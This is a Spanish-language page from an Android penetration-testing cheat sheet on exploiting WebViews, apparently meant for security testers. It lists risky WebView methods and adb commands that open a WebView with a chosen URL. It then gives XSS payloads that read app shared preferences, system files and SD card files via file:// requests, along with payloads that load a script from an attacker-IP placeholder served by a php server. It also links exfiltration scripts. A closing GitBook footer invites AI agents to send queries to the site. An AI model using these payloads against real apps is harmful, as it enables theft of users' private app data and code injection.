> For the complete documentation index, see [llms.txt](https://mobile.mrw0l05zyn.cl/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://mobile.mrw0l05zyn.cl/android/analisis-dinamico/webviews.md).

# WebViews

## Android Debug Bridge (adb)

```sh
adb shell am start -n <app-package-name>/.<webview-activity-name> -a android.intent.action.VIEW --es <parameter> "<string-value>"
adb shell am start -n <app-package-name>/.<webview-activity-name> -a android.intent.action.VIEW --es url "https://example.com/"
```

## Funciones potencialmente explotables

```java
loadUrl()
setJavaScriptEnabled()
addJavascriptInterface()
setAllowContentAccess()
setAllowFileAccess()
setAllowFileAccessFromFileURLs()
setAllowUniversalAccessFromFileURLs()
loadData()
postUrl()
saveState()
```

## Cross-site scripting (XSS)

### Payloads <a href="#cross-site-scripting-xss-payloads" id="cross-site-scripting-xss-payloads"></a>

```html
<script>alert(0)</script>
<script>alert('XSS');</script>
<script>alert(location)</script>
<img src=noexiste onerror=alert(0)>
<img src="noexiste" onerror="alert('XSS')">
```

* [common-xss-payloads.txt](https://github.com/MrW0l05zyn/pentesting/blob/master/web/payloads/xss/common-xss-payloads.txt)

### Lectura de archivos de la aplicación <a href="#cross-site-scripting-xss-lectura-de-archivos-de-la-aplicacion" id="cross-site-scripting-xss-lectura-de-archivos-de-la-aplicacion"></a>

```html
<script>XHR=new XMLHttpRequest();XHR.open("GET","file:///data/data/<app-package-name>/shared_prefs/<file-name>",false);XHR.send();alert(XHR.responseText);</script>
```

### Lectura de archivos del sistema <a href="#cross-site-scripting-xss-lectura-de-archivos-del-sistema" id="cross-site-scripting-xss-lectura-de-archivos-del-sistema"></a>

```html
<script>XHR=new XMLHttpRequest();XHR.open("GET","file:///system/etc/hosts",false);XHR.send();alert(XHR.responseText);</script>
```

### Lectura de archivos de la aplicación desde SD card <a href="#cross-site-scripting-xss-lectura-de-archivos-de-la-aplicacion-desde-sd-card" id="cross-site-scripting-xss-lectura-de-archivos-de-la-aplicacion-desde-sd-card"></a>

```html
<script>XHR=new XMLHttpRequest();XHR.open("GET","file:///storage/emulated/0/Android/data/<app-package-name>/files/<file-name>",false);XHR.send();alert(XHR.responseText);</script>
```

### Ejecución de payload desde recurso externo <a href="#cross-site-scripting-xss-ejecucion-de-payload-desde-recurso-externo" id="cross-site-scripting-xss-ejecucion-de-payload-desde-recurso-externo"></a>

Creación de archivo JavaScript con payload a ejecutar.

{% code title="xss.js" %}

```javascript
alert(0)
```

{% endcode %}

Habilitación de servidor HTTP para compartir el archivo `xss.js`.

```sh
php -S 0.0.0.0:80
```

Payloads para cargar JavaScript desde recurso externo.

```html
<script src="http://<attacker-IP-address>/xss.js"></script>
<img src="x" onerror="s=document.createElement('script');s.src='http://<attacker-IP-address>/xss.js';document.body.appendChild(s);">
```

### Exfiltración de archivos de la aplicación <a href="#cross-site-scripting-xss-exfiltracion-de-archivos-de-la-aplicacion" id="cross-site-scripting-xss-exfiltracion-de-archivos-de-la-aplicacion"></a>

* [exf-sharedpreferences-files.js](https://github.com/MrW0l05zyn/pentesting/blob/master/mobile/webviews/exf-sharedpreferences-files.js)
* [xss.php](https://github.com/MrW0l05zyn/pentesting/blob/master/mobile/webviews/xss.php)

### Exfiltración de archivos de la aplicación desde SD card <a href="#cross-site-scripting-xss-exfiltracion-de-archivos-de-la-aplicacion-desde-sd-card" id="cross-site-scripting-xss-exfiltracion-de-archivos-de-la-aplicacion-desde-sd-card"></a>

* [exf-sd-card-files.js](https://github.com/MrW0l05zyn/pentesting/blob/master/mobile/webviews/exf-sd-card-files.js)
* [xss.php](https://github.com/MrW0l05zyn/pentesting/blob/master/mobile/webviews/xss.php)


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter, and the optional `goal` query parameter:

```
GET https://mobile.mrw0l05zyn.cl/android/analisis-dinamico/webviews.md?ask=<question>&goal=<endgoal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is optional and describes the broader end goal you are ultimately trying to accomplish on behalf of the user. GitBook uses it to tailor the answer towards what is most useful for that goal.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
